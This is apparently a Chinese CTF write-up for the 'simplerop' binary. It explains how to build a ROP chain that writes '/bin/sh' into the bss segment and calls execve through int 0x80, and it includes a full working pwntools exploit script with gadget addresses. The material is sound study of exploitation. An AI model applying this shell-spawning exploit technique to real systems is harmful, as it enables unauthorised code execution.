先checksec 一波
image.png开启了NX保护,静态链接,溢出的空间也够构造rop链,一看就是return to syscall,但是没有发现system函数,也没有"/bin/sh",这就需要我们自己写execve("/bin/sh")了
我的思路是这样:将"/bin/sh"构造在bss段作为execve的参数,然后进入系统调用execve;
那么我们先要找到一个可以写到内存的gadget:0x0807b301 : mov dword ptr [eax], edx ; ret
,bss段的写入就跟之前的没什么两样,找到gadget:
0x080bae06 : pop eax ; ret
0x0806e82a : pop edx ; ret
0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret
这里还需要找到 int 0x80 0x080493e1 : int 0x80
系统中断调用
这里还需要查一下sys_execve函数的系统调用号和参数对应的寄存器:
接下来就开始构造rop了:
exp:
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./simplerop')
elf = ELF('./simplerop')
bss = 0x080EAF80
binsh = "/bin/sh\x00"
mov_ineax = 0x0807b301
# mov_eax_ecx = 0x080a7a6a
pop_edx_ecx_ebx = 0x0806e850
pop_eax = 0x080bae06
pop_ebx = 0x080481c9
pop_edx = 0x0806e82a
int0x80 = 0x080493e1
payload = "A" * 32
#将"/bin/sh\x00"分两次写入bss段
payload += p32(pop_eax) + p32(bss)
payload += p32(pop_edx) + binsh[0:4]
payload += p32(mov_ineax)
payload += p32(pop_eax) + p32(bss + 4)
payload += p32(pop_edx) + binsh[4:8]
payload += p32(mov_ineax)
#构造 execve("/bin/sh\x00")函数并调用
payload += p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss)
payload += p32(pop_eax) + p32(0x0b)
#中断 ,进入系统调用
payload += p32(int0x80)
p.sendline(payload)
p.interactive()
网友评论